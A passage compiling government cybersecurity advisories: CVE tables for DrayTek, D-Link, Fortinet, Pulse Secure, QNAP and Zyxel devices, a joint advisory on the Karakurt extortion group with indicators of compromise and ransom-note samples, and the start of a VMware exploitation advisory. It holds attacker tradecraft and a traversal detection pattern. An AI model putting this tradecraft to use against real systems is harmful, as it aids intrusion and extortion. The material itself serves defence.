  • Citrix SD-WAN WANOP appliance models 4000-WO, 4100-WO, 5000-WO, and 5100-WO all supported software release builds before 10.2.6b and 11.0.3b 

References 

https://support.citrix.com/article/CTX267027

 

Table 6: Information on DrayTek CVE-2020-8515

                                                 DrayTek CVE-2020-8515          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

DrayTek Vigor2960 1.3.1_Beta, Vigor3900 1.4.4_Beta, and Vigor300B 1.3.3_Beta, 1.4.2.1_Beta, and 1.4.4_Beta devices allow remote code execution as root (without authentication) via shell metacharacters to the cgi-bin/mainfunction.cgi URI. This issue has been fixed in Vigor3900/2960/300B v1.5.1.

Recommended Mitigations 

  • Users of affected models should upgrade to 1.5.1 firmware or later as soon as possible, the updated firmware addresses this issue.
  • Disable the remote access on your router if you don’t need it.
  • Disable remote access (admin) and SSL VPN. The ACL does not apply to SSL VPN connections (Port 443) so you should also temporarily disable SSL VPN until you have updated the firmware.
  • Always back up your config before doing an upgrade.
  • After upgrading, check that the web interface now shows the new firmware version.
  • Enable syslog logging for monitoring if there are abnormal events. 
Detection Methods 

  • Check that no additional remote access profiles (VPN dial-in, teleworker or LAN to LAN) or admin users (for router admin) have been added.
  • Check if any ACL (Access Control Lists) have been altered.
Vulnerable Technologies and Versions 

  • This vulnerability affects the Vigor3900/2960/300B before firmware version 1.5.1.

References 

https://draytek.com/about/security-advisory/vigor3900-/-vigor2960-/-vigor300b-router-web-management-page-vulnerability-(cve-2020-8515)/
http://packetstormsecurity.com/files/156979/DrayTek-Vigor2960-Vigor3900-Vigor300B-Remote-Command-Execution.html
https://sku11army.blogspot.com/2020/01/draytek-unauthenticated-rce-in-draytek.html

 

Table 7: Information on D-Link CVE-2019-16920

                                                   D-Link CVE-2019-16920          CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a « PingTest » device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

Recommended Mitigations 

  • Recommendation is to replace affected devices with ones that are currently supported by the vendor. End-of-life devices should not be used.
Detection Methods 

  • HTTP packet inspection to look for arbitrary input to the “ping_test” command 
Vulnerable Technologies and Versions 

  • DIR DIR-655C, DIR-866L, DIR-652, DHP-1565, DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-82

References 

https://www.kb.cert.org/vuls/id/766427
https://fortiguard.com/zeroday/FG-VD-19-117
https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
https://www.seebug.org/vuldb/ssvid-98079

 

Table 8: Information on Fortinet CVE-2018-13382

                                                     Fortinet CVE-2018-13382            CVSS 3.0: 7.5 (High)

Vulnerability Description 

An Improper Authorization vulnerability in Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.8 and 5.4.1 to 5.4.10 and FortiProxy 2.0.0, 1.2.0 to 1.2.8, 1.1.0 to 1.1.6, 1.0.0 to 1.0.7 under SSL VPN web portal allows an unauthenticated attacker to modify the password of an SSL VPN web portal user via specially crafted HTTP requests.

Recommended Mitigations 

  • Upgrade to FortiOS versions 5.4.11, 5.6.9, 6.0.5, 6.2.0 or above and/or upgrade to FortiProxy version 1.2.9 or above or version 2.0.1 or above.
  • SSL VPN users with local authentication can mitigate the impact by enabling Two-Factor Authentication (2FA).
  • Migrate SSL VPN user authentication from local to remote (LDAP or RADIUS).
  • Totally disable the SSL-VPN service (both web-mode and tunnel-mode) by applying the following CLI commands: config vpn ssl settings, unset source-interface, end.
Detection Methods 

  • HTTP packet inspection to look for specially crafted packets containing the magic key for the SSL VPN password modification

Vulnerable Technologies and Versions

This vulnerability affects the following products: 

  • Fortinet FortiOS 6.0.0 to 6.0.4
  • Fortinet FortiOS 5.6.0 to 5.6.8
  • Fortinet FortiOS 5.4.1 to 5.4.10
  • Fortinet FortiProxy 2.0.0
  • Fortinet FortiProxy 1.2.8 and below
  • Fortinet FortiProxy 1.1.6 and below
  • Fortinet FortiProxy 1.0.7 and below

FortiOS products are vulnerable only if the SSL VPN service (web-mode or tunnel-mode) is enabled and users with local authentication.

References 

https://fortiguard.com/psirt/FG-IR-18-389
https://fortiguard.com/advisory/FG-IR-18-389
https://www.fortiguard.com/psirt/FG-IR-20-231

 

Table 9: Information on Mikrotik CVE-2018-14847

                                            Mikrotik CVE-2018-14847            CVSS 3.0: 9.1 (Critical)

Vulnerability Description 

MikroTik RouterOS through 6.42 allows unauthenticated remote attackers to read arbitrary files and remote authenticated attackers to write arbitrary files due to a directory traversal vulnerability in the WinBox interface.

Recommended Mitigations 

  • Upgrade WinBox and RouterOS and change passwords
  • Firewall the WinBox port from the public interface and from untrusted networks
Detection Methods 

  • Use export command to see all your configuration and inspect for any abnormalities, such as unknown SOCKS proxy settings and scripts.

Vulnerable Technologies and Versions 

This vulnerability affected the following MikroTik products:

  • All bugfix releases from 6.30.1 to 6.40.7
  • All current releases from 6.29 to 6.42
  • All RC releases from 6.29rc1 to 6.43rc3

References

https://blog.mikrotik.com/security/winbox-vulnerability.html

 

Table 10: Information on Netgear CVE-2017-6862

                                             Netgear CVE-2017-6862                  CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

NETGEAR WNR2000v3 devices before 1.1.2.14, WNR2000v4 devices before 1.0.0.66, and WNR2000v5 devices before 1.0.0.42 allow authentication bypass and remote code execution via a buffer overflow that uses a parameter in the administration webapp. The NETGEAR ID is PSV-2016-0261.

Recommended Mitigations 

  • NETGEAR has released firmware updates that fix the unauthenticated remote code execution vulnerability for all affected products. 
Detection Methods 

  • HTTP packet inspection to find any specially crafted packets attempting a buffer overflow through specialized parameters.

Vulnerable Technologies and Versions 

This vulnerability affects the following products:

  • WNR2000v3 before version 1.1.2.14
  • WNR2000v4 before version 1.0.0.66
  • WNR2000v5 before version 1.0.0.42
  • R2000

References 

https://kb.netgear.com/000038542/Security-Advisory-for-Unauthenticated-Remote-Code-Execution-on-Some-Routers-PSV-2016-0261
https://www.on-x.com/sites/default/files/on-x_-_security_advisory_-_netgear_wnr2000v5_-_cve-2017-6862.pdf
http://www.securityfocus.com/bid/98740

 

Table 11: Information on Pulse CVE-2019-11510

                                              Pulse CVE-2019-11510                   CVSS 3.0: 10 (Critical)

Vulnerability Description 

In Pulse Secure Pulse Connect Secure (PCS) 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4, an unauthenticated remote attacker can send a specially crafted URI to perform an arbitrary file reading vulnerability. 

Recommended Mitigations 

  • Upgrade to the latest Pulse Secure VPN.
  • Stay alert to any scheduled tasks or unknown files/executables.
  • Create detection/protection mechanisms that respond on directory traversal (/../../../) attempts to read local system files.

Detection Methods 

  • CISA developed a tool to help determine if IOCs exist in the log files of a Pulse Secure VPN Appliance for CVE-2019-11510: cisa.gov/check-your-pulse.
  • Nmap developed a script that can be used with the port scanning engine: http-vuln-cve2019- 11510.nse #1708.

Vulnerable Technologies and Versions 

This vulnerability affects the following Pulse Connect Secure products:

  • 9.0R1 to 9.0R3.3
  • 8.3R1 to 8.3R7
  • 8.2R1 to 8.2R12

References 

https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/

 

Table 12: Information on Pulse CVE-2021-22893

                                               Pulse CVE-2021-22893              CVSS 3.0: 10 (Critical)

Vulnerability Description 

Pulse Connect Secure 9.0R3/9.1R1 and higher is vulnerable to an authentication bypass vulnerability exposed by the Windows File Share Browser and Pulse Secure Collaboration features of Pulse Connect Secure that can allow an unauthenticated user to perform remote arbitrary code execution on the Pulse Connect Secure gateway. This vulnerability has been exploited in the wild.

Recommended Mitigations

  • Updating such systems to PCS 9.1R11.4.
  • Run the PCS Integrity Assurance utility.
  • Enable Unauthenticated Request logging.
  • Enable remote logging.
  • Pulse Secure has published a Workaround-2104.xml file that contains mitigations to protect against this and other vulnerabilities.
  • Monitor capabilities in open source scanners. 
Detection Methods 

  • Log correlation between the authentication servers responsible for LDAP and RADIUS authentication and the VPN server. Authentication failures in either LDAP or RADIUS logs with the associated VPN logins showing success would be an anomalous event worthy of flagging.
  • The Pulse Security Check Tool.
  • A ‘recovery’ file not present in legitimate versions. https://ive-host/dana-na/auth/recover[.]cgi?token=<varies>.

Vulnerable Technologies and Versions 

This vulnerability affects Pulse Connect Secure 9.0R3/9.1R1 and higher.

References 

https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44101/
https://blog.pulsesecure.net/pulse-connect-secure-security-update/
https://kb.cert.org/vuls/id/213092
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/
https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html

 

Table 13: Information on QNAP CVE-2019-7192

                                                  QNAP CVE-2019-7192               CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

This improper access control vulnerability allows remote attackers to gain unauthorized access to the system. To fix these vulnerabilities, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later 
Detection Methods 

  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 14: Information on QNAP CVE- 2019-7193

                                                QNAP CVE-2019-7193                  CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

This improper input validation vulnerability allows remote attackers to inject arbitrary code to the system. To fix the vulnerability, QNAP recommend updating QTS to their latest versions.

Recommended Mitigations 

Update QTS to versions: 

  • QTS 4.4.1 build 20190918 and later
  • QTS 4.3.6 build 20190919 and later
Detection Methods 

  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects QNAP QTS 4.3.6 and 4.4.1 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 15: Information on QNAP CVE-2019-7194

                                               QNAP CVE-2019-7194             CVSS 3.0: 9.8 (Critical)

Vulnerability Description

This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later
Detection Methods 

  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25 
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 16: Information on QNAP CVE-2019-7195

                                             QNAP CVE-2019-7195                   CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

This external control of file name or path vulnerability allows remote attackers to access or modify system files. To fix the vulnerability, QNAP recommend updating Photo Station to their latest versions.

Recommended Mitigations 

Update Photo Station to versions: 

  • QTS 4.4.1 Photo Station 6.0.3 and later
  • QTS 4.3.4-QTS 4.4.0 Photo Station 5.7.10 and later
  • QTS 4.3.0-QTS 4.3.3 Photo Station 5.4.9 and later
  • QTS 4.2.6 Photo Station 5.2.11 and later
Detection Methods 

  • N/A

Vulnerable Technologies and Versions 

This vulnerability affects QNAP Photo Station versions 5.2.11, 5.4.9, 5.7.10, and 6.0.3 or earlier.

References 

https://www.qnap.com/zh-tw/security-advisory/nas-201911-25
http://packetstormsecurity.com/files/157857/QNAP-QTS-And-Photo-Station-6.0.3-Remote-Command-Execution.html

 

Table 17: Information on Zyxel CVE-2020-29583

                                                Zyxel CVE-2020-29583            CVSS 3.0: 9.8 (Critical)

Vulnerability Description 

Firmware version 4.60 of Zyxel USG devices contains an undocumented account (zyfwp) with an unchangeable password. The password for this account can be found in cleartext in the firmware. This account can be used by someone to login to the SSH server or web interface with admin privileges.

Recommended Mitigations 

  • Download latest patch (4.60 Patch1 or newer)
Detection Methods 

  • Login attempts to the hardcoded undocumented account, seen in either audit logs or intrusion detection systems

Vulnerable Technologies and Versions 

This vulnerability affects the following technologies and versions:

  • ATP series running firmware ZLD V4.60
  • USG series running firmware ZLD V4.60
  • USG FLEX series running firmware ZLD V4.60
  • VPN series running firmware ZLD V4.60
  • NXC2500 running firmware V6.00 through V6.10
  • NXC5500 running firmware V6.00 through V6.10

References 

http://ftp.zyxel.com/USG40/firmware/USG40_4.60(AALA.1)C0_2.pdf
https://businessforum.zyxel.com/discussion/5252/zld-v4-60-revoke-and-wk48-firmware-release
https://businessforum.zyxel.com/discussion/5254/whats-new-for-zld4-60-patch-1-available-on-dec-15
https://www.eyecontrol.nl/blog/undocumented-user-account-in-zyxel-products.html
https://www.zyxel.com/support/CVE-2020-29583.shtml
https://www.zyxel.com/support/security_advisories.shtml

 

Revisions

  • Initial Version: June 7, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

[Mise à jour du 03 juin 2022 à 19h52] Atlassian a publié des correctifs.

Une vulnérabilité a été découverte dans Atlassian Confluence. Elle permet à un attaquant non authentifié de provoquer une exécution de code arbitraire à distance.

Cette vulnérabilité est …
Source de l’article sur CERT-FR

Original release date: June 1, 2022

Summary

Actions to take today to mitigate cyber threats from ransomware:
• Prioritize patching known exploited vulnerabilities.
• Train users to recognize and report phishing attempts.
• Enforce multifactor authentication.

The Federal Bureau of Investigation (FBI), the Cybersecurity and Infrastructure Security Agency (CISA), the Department of the Treasury (Treasury), and the Financial Crimes Enforcement Network (FinCEN) are releasing this joint Cybersecurity Advisory (CSA) to provide information on the Karakurt data extortion group, also known as the Karakurt Team and Karakurt Lair. Karakurt actors have employed a variety of tactics, techniques, and procedures (TTPs), creating significant challenges for defense and mitigation. Karakurt victims have not reported encryption of compromised machines or files; rather, Karakurt actors have claimed to steal data and threatened to auction it off or release it to the public unless they receive payment of the demanded ransom. Known ransom demands have ranged from $25,000 to $13,000,000 in Bitcoin, with payment deadlines typically set to expire within a week of first contact with the victim.

Karakurt actors have typically provided screenshots or copies of stolen file directories as proof of stolen data. Karakurt actors have contacted victims’ employees, business partners, and clients [T1591.002] with harassing emails and phone calls to pressure the victims to cooperate. The emails have contained examples of stolen data, such as social security numbers, payment accounts, private company emails, and sensitive business data belonging to employees or clients. Upon payment of ransoms, Karakurt actors have provided some form of proof of deletion of files and, occasionally, a brief statement explaining how the initial intrusion occurred.

Prior to January 5, 2022, Karakurt operated a leaks and auction website found at https://karakurt[.]group. The domain and IP address originally hosting the website went offline in the spring 2022. The website is no longer accessible on the open internet, but has been reported to be located elsewhere in the deep web and on the dark web. As of May 2022, the website contained several terabytes of data purported to belong to victims across North America and Europe, along with several “press releases” naming victims who had not paid or cooperated, and instructions for participating in victim data “auctions.”

Download the PDF version of this report (pdf, 569kb).

Technical Details

Initial Intrusion

Karakurt does not appear to target any specific sectors, industries, or types of victims. During reconnaissance [TA0043], Karakurt actors appear to obtain access to victim devices primarily:

  • By purchasing stolen login credentials [T1589.001] [T1589.002]; 
  • Via cooperating partners in the cybercrime community, who provide Karakurt access to already compromised victims; or 
  • Through buying access to already compromised victims via third-party intrusion broker networks [T1589.001].
    • Note: Intrusion brokers, or intrusion broker networks, are malicious individual cyber actors or groups of actors who use a variety of tools and skills to obtain initial access to—and often create marketable persistence within—protected computer systems. Intrusion brokers then sell access to these compromised computer systems to other cybercriminal actors, such as those engaged in ransomware, business email compromise, corporate and government espionage, etc. 

Common intrusion vulnerabilities exploited for initial access [TA001] in Karakurt events include the following:

  • Outdated SonicWall SSL VPN appliances [T1133] are vulnerable to multiple recent CVEs 
  • Log4j “Log4Shell” Apache Logging Services vulnerability (CVE-2021-44228) [T1190]
  • Phishing and spearphishing [T1566]
  • Malicious macros within email attachments [T1566.001]
  • Stolen virtual private network (VPN) or Remote Desktop Protocol (RDP) credentials [T1078]
  • Outdated Fortinet FortiGate SSL VPN appliances [T1133]/firewall appliances [T1190] are vulnerable to multiple recent CVEs
  • Outdated and/or unserviceable Microsoft Windows Server instances

Network Reconnaissance, Enumeration, Persistence, and Exfiltration

Upon developing or obtaining access to a compromised system, Karakurt actors deploy Cobalt Strike beacons to enumerate a network [T1083], install Mimikatz to pull plain-text credentials [T1078], use AnyDesk to obtain persistent remote control [T1219], and utilize additional situation-dependent tools to elevate privileges and move laterally within a network.

Karakurt actors then compress (typically with 7zip) and exfiltrate large sums of data—and, in many cases, entire network-connected shared drives in volumes exceeding 1 terabyte (TB)—using open source applications and File Transfer Protocol (FTP) services [T1048], such as Filezilla, and cloud storage services including rclone and Mega.nz [T1567.002]. 

Extortion

Following the exfiltration of data, Karakurt actors present the victim with ransom notes by way of “readme.txt” files, via emails sent to victim employees over the compromised email networks, and emails sent to victim employees from external email accounts. The ransom notes reveal the victim has been hacked by the “Karakurt Team” and threaten public release or auction of the stolen data. The instructions include a link to a TOR URL with an access code. Visiting the URL and inputting the access code open a chat application over which victims can negotiate with Karakurt actors to have their data deleted. 

Karakurt victims have reported extensive harassment campaigns by Karakurt actors in which employees, business partners, and clients receive numerous emails and phone calls warning the recipients to encourage the victims to negotiate with the actors to prevent the dissemination of victim data. These communications often included samples of stolen data—primarily personally identifiable information (PII), such as employment records, health records, and financial business records.

Victims who negotiate with Karakurt actors receive a “proof of life,” such as screenshots showing file trees of allegedly stolen data or, in some cases, actual copies of stolen files. Upon reaching an agreement on the price of the stolen data with the victims, Karakurt actors provided a Bitcoin address—usually a new, previously unused address—to which ransom payments could be made. Upon receiving the ransom, Karakurt actors provide some form of alleged proof of deletion of the stolen files, such as a screen recording of the files being deleted, a deletion log, or credentials for a victim to log into a storage server and delete the files themselves.

Although Karakurt’s primary extortion leverage is a promise to delete stolen data and keep the incident confidential, some victims reported Karakurt actors did not maintain the confidentiality of victim information after a ransom was paid. Note: the U.S. government strongly discourages the payment of any ransom to Karakurt threat actors, or any cyber criminals promising to delete stolen files in exchange for payments.

In some cases, Karakurt actors have conducted extortion against victims previously attacked by other ransomware variants. In such cases, Karakurt actors likely purchased or otherwise obtained previously stolen data. Karakurt actors have also targeted victims at the same time these victims were under attack by other ransomware actors. In such cases, victims received ransom notes from multiple ransomware variants simultaneously, suggesting Karakurt actors purchased access to a compromised system that was also sold to another ransomware actor.

Karakurt actors have also exaggerated the degree to which a victim had been compromised and the value of data stolen. For example, in some instances, Karakurt actors claimed to steal volumes of data far beyond the storage capacity of compromised systems or claimed to steal data that did not belong to the victim.
 

Indicators of Compromise 

 

Email
mark.hubert1986@gmail.com; karakurtlair@gmail.com; personal.information.reveal@gmail.com; ripidelfun1986@protonmail.com; gapreappballye1979@protonmail.com; confedicial.datas.download@protonmail.com; armada.mitchell94@protonmail.com
Protonmail email accounts in the following formats:
victimname_treasure@protonmail.com
victimname_jewels@protonmail.com
victimname_files@protonmail.com

 

Tools
Onion site https://omx5iqrdbsoitf3q4xexrqw5r5tfw7vp3vl3li3lfo7saabxazshnead.onion
Tools Rclone.exe;; AnyDesk.exe; Mimikatz
Ngrok SSH tunnel application SHA256 – 3e625e20d7f00b6d5121bb0a71cfa61f92d658bcd61af2cf5397e0ae28f4ba56
DDLs masquerading as legitimate Microsoft binaries to System32 Mscxxx.dll: SHA1 – c33129a680e907e5f49bcbab4227c0b02e191770
Msuxxx.dll: SHA1 – 030394b7a2642fe962a7705dcc832d2c08d006f5
Msxsl.exe Legitimate Microsoft Command Line XSL Transformation Utility SHA1 – 8B516E7BE14172E49085C4234C9A53C6EB490A45
dllhosts.exe  Rclone SHA1 – fdb92fac37232790839163a3cae5f37372db7235
rclone.conf Rclone configuration file
filter.txt Rclone file extension filter file
c.bat UNKNOWN
3.bat UNKNOWN
Potential malicious document SHA1 – 0E50B289C99A35F4AD884B6A3FFB76DE4B6EBC14

.

Tools
Potential malicious document SHA1 – 7E654C02E75EC78E8307DBDF95E15529AAAB5DFF
Malicious text file SHA1 – 4D7F4BB3A23EAB33A3A28473292D44C5965DDC95
Malicious text file SHA1 – 10326C2B20D278080AA0CA563FC3E454A85BB32F

 

Cobalt Strike hashes
SHA256 – 563BC09180FD4BB601380659E922C3F7198306E0CAEBE99CD1D88CD2C3FD5C1B
SHA256 – 5E2B2EBF3D57EE58CADA875B8FBCE536EDCBBF59ACC439081635C88789C67ACA
SHA256 – 712733C12EA3B6B7A1BCC032CC02FD7EC9160F5129D9034BF9248B27EC057BD2
SHA256 – 563BC09180FD4BB601380659E922C3F7198306E0CAEBE99CD1D88CD2C3FD5C1B
SHA256 – 5E2B2EBF3D57EE58CADA875B8FBCE536EDCBBF59ACC439081635C88789C67ACA
SHA256 – 712733C12EA3B6B7A1BCC032CC02FD7EC9160F5129D9034BF9248B27EC057BD2
SHA1 – 86366bb7646dcd1a02700ed4be4272cbff5887af

 

Ransom note text sample:
  1.  

Here’s the deal 

We breached your internal network and took control over all of your systems.

      2.

We analyzed and located each piece of more-or-less important files while spending weeks inside.

      3. 

We exfiltrated anything we wanted (xxx GB (including Private & Confidential information, Intellectual Property, Customer Information and most important Your TRADE SECRETS)

 

Ransom note text sample:

FAQ:

Who the hell are you?

Who the hell are you?

 

Payment Wallets:
bc1qfp3ym02dx7m94td4rdaxy08cwyhdamefwqk9hp
bc1qw77uss7stz7y7kkzz7qz9gt7xk7tfet8k30xax
bc1q8ff3lrudpdkuvm3ehq6e27nczm393q9f4ydlgt
bc1qenjstexazw07gugftfz76gh9r4zkhhvc9eeh47
bc1qxfqe0l04cy4qgjx55j4qkkm937yh8sutwhlp4c
bc1qw77uss7stz7y7kkzz7qz9gt7xk7tfet8k30xax
bc1qrtq27tn34pvxaxje4j33g3qzgte0hkwshtq7sq
bc1q25km8usscsra6w2falmtt7wxyga8tnwd5s870g
bc1qta70dm5clfcxp4deqycxjf8l3h4uymzg7g6hn5
bc1qrkcjtdjccpy8t4hcna0v9asyktwyg2fgdmc9al
bc1q3xgr4z53cdaeyn03luhen24xu556y5spvyspt8
bc1q6s0k4l8q9wf3p9wrywf92czrxaf9uvscyqp0fu
bc1qj7aksdmgrnvf4hwjcm5336wg8pcmpegvhzfmhw
bc1qq427hlxpl7agmvffteflrnasxpu7wznjsu02nc
bc1qz9a0nyrqstqdlr64qu8jat03jx5smxfultwpm0
bc1qq9ryhutrprmehapvksmefcr97z2sk3kdycpqtr
bc1qa5v6amyey48dely2zq0g5c6se2keffvnjqm8ms
bc1qx9eu6k3yhtve9n6jtnagza8l2509y7uudwe9f6
bc1qtm6gs5p4nr0y5vugc93wr0vqf2a0q3sjyxw03w
bc1qta70dm5clfcxp4deqycxjf8l3h4uymzg7g6hn5
bc1qx9eu6k3yhtve9n6jtnagza8l2509y7uudwe9f6
bc1qqp73up3xff6jz267n7vm22kd4p952y0mhcd9c8
bc1q3xgr4z53cdaeyn03luhen24xu556y5spvyspt8

Mitre Att&ck Techniques

Karakurt actors use the ATT&CK techniques listed in table 1.
 

Table 1: Karakurt actors ATT&CK techniques for enterprise

Reconnaissance
Technique Title ID Use
Gather Victim Identify Information: Credentials T1589.001 Karakurt actors have purchased stolen login credentials.
Gather Victim Identity Information: Email Addresses

T1589.002

Karakurt actors have purchased stolen login credentials including email addresses.
Gather Victim Org Information: Business Relationships T1591.002 Karakurt actors have leveraged victims’ relationships with business partners.
Initial Access
Technique Title ID Use
Exploit Public-Facing Applications T1190 Karakurt actors have exploited the Log4j « Log4Shell » Apache Logging Service vulnerability and vulnerabilities in outdated firewall appliances for gaining access to victims’ networks.
External Remote Services T1133 Karakurt actors have exploited vulnerabilities in outdated VPN appliances for gaining access to victims’ networks.
Phishing T1566 Karakurt actors have used phishing and spearphishing to obtain access to victims’ networks.
Phishing – Spearphishing Attachment T1566.001 Karakurt actors have sent malicious macros as email attachments to gain initial access.
Valid Accounts T1078 Karakurt actors have purchased stolen credentials, including VPN and RDP credentials, to gain access to victims’ networks.
Privilege Escalation
Technique Title ID Use
Valid Accounts T1078 Karakurt actors have installed Mimikatz to pull plain-text credentials.
 
Technique Title ID Use
File and Directory Discovery T1083 Karakurt actors have deployed Cobalt Strike beacons to enumerate a network.
 
Technique Title ID Use
Remote Access Software T1219 Karakurt actors have used AnyDesk to obtain persistent remote control of victims’ systems.
Exfiltration 
Technique Title ID Use
Exfiltration Over Alternative Protocol T1048 Karakurt actors have used FTP services, including Filezilla, to exfiltrate data from victims’ networks.
Exfiltration Over Web Service: Exfiltration to Cloud Storage T1567.002 Karakurt actors have used rclone and Mega.nz to exfiltrate data stolen from victims’ networks.

 

Mitigations

  • Implement a recovery plan to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (i.e., hard drive, storage device, the cloud).
  • Implement network segmentation and maintain offline backups of data to ensure limited interruption to the organization.
  • Regularly back up data and password protect backup copies offline. Ensure copies of critical data are not accessible for modification or deletion from the system where the data resides.
  • Install and regularly update antivirus software on all hosts and enable real time detection.
  • Install updates/patch operating systems, software, and firmware as soon as updates/patches are released.
  • Review domain controllers, servers, workstations, and active directories for new or unrecognized accounts. 
  • Audit user accounts with administrative privileges and configure access controls with least privilege in mind. Do not give all users administrative privileges.
  • Disable unused ports.
  • Consider adding an email banner to emails received from outside your organization.
  • Disable hyperlinks in received emails.
  • Enforce multi-factor authentication. 
  • Use National Institute for Standards and Technology (NIST) standards for developing and managing password policies.
    • Use longer passwords consisting of at least 8 characters and no more than 64 characters in length;
    • Store passwords in hashed format using industry-recognized password managers;
    • Add password user “salts” to shared login credentials;
    • Avoid reusing passwords;
    • Implement multiple failed login attempt account lockouts;
    • Disable password “hints”;
    • Refrain from requiring password changes more frequently than once per year. Note: NIST guidance suggests favoring longer passwords instead of requiring regular and frequent password resets. Frequent password resets are more likely to result in users developing password “patterns” cyber criminals can easily decipher. 
    • Require administrator credentials to install software.
  • Only use secure networks and avoid using public Wi-Fi networks. Consider installing and using a VPN.
  • Focus on cyber security awareness and training. Regularly provide users with training on information security principles and techniques as well as overall emerging cybersecurity risks and vulnerabilities (i.e., ransomware and phishing scams).

Resources

Revisions

  • Initial Version: June 01, 2022

This product is provided subject to this Notification and this Privacy & Use policy.

Source de l’article sur us-cert.gov

Le 27 mai 2022, un chercheur a identifié un document Word piégé sur la plate-forme Virus Total. Lorsque ce document est ouvert, l’un des objets OLE (Object Linking and Embedding) présent dans celui-ci télécharge du contenu situé sur un serveur externe contrôlé par …
Source de l’article sur CERT-FR

Original release date: May 18, 2022 | Last revised: May 19, 2022

Summary

The Cybersecurity and Infrastructure Security Agency (CISA) is releasing this Cybersecurity Advisory (CSA) to warn organizations that malicious cyber actors, likely advanced persistent threat (APT) actors, are exploiting CVE-2022-22954 and CVE-2022-22960 separately and in combination. These vulnerabilities affect certain versions of VMware Workspace ONE Access, VMware Identity Manager (vIDM), VMware vRealize Automation (vRA), VMware Cloud Foundation, and vRealize Suite Lifecycle Manager. Exploiting these vulnerabilities permits malicious actors to trigger a server-side template injection that may result in remote code execution (RCE) (CVE-2022-22954) or escalation of privileges to root (CVE-2022-22960). 

VMware released updates for both vulnerabilities on April 6, 2022, and, according to a trusted third party, malicious cyber actors were able to reverse engineer the updates to develop an exploit within 48 hours and quickly began exploiting the disclosed vulnerabilities in unpatched devices. CISA was made aware of this exploit a week later and added CVE-2022-22954 and CVE-2022-22960 to its catalog of Known Exploited Vulnerabilities on April 14 and April 15, respectively. In accordance with Binding Operational Directive (BOD) 22-01, Reducing the Significant Risk of Known Exploited Vulnerabilities, federal agencies were required to apply updates for CVE-2022-22954 and CVE-2022-22960 by May 5, and May 6, 2022, respectively

Note: based on this activity, CISA expects malicious cyber actors to quickly develop a capability to exploit newly released vulnerabilities CVE-2022-22972 and CVE-2022-22973 in the same impacted VMware products. In response, CISA has released, Emergency Directive (ED) 22-03 Mitigate VMware Vulnerabilities, which requires emergency action from Federal Civilian Executive Branch agencies to either immediately implement the updates in VMware Security Advisory VMSA-2022-0014 or remove the affected software from their network until the updates can be applied.

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information—including indicators of compromise (IOCs)—about observed exploitation at multiple other large organizations from trusted third parties.

This CSA provides IOCs and detection signatures from CISA as well as from trusted third parties to assist administrators with detecting and responding to this activity. Due to the rapid exploitation of these vulnerabilities, CISA strongly encourages all organizations with affected VMware products that are accessible from the internet—that did not immediately apply updates—to assume compromise and initiate threat hunting activities using the detection methods provided in this CSA. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA.. If potential compromise is detected, administrators should apply the incident response recommendations included in this CSA.

Download the PDF version of this report (pdf, 232kb).

For a downloadable copy of IOCs, see AA22-138B.stix

Technical Details

CISA has deployed an incident response team to a large organization where the threat actors exploited CVE-2022-22954. Additionally, CISA has received information about observed exploitation of CVE-2022-22954 and CVE-2022-22960 by multiple threat actors at multiple other large organizations from trusted third parties.

  • CVE-2022-22954 enables an actor with network access to trigger a server-side template injection that may result in RCE. This vulnerability affects the following products:[1]
    • VMware Workspace ONE Access, versions 21.08.0.1, 21.08.0.0, 20.10.0.1, 20.10.0.0
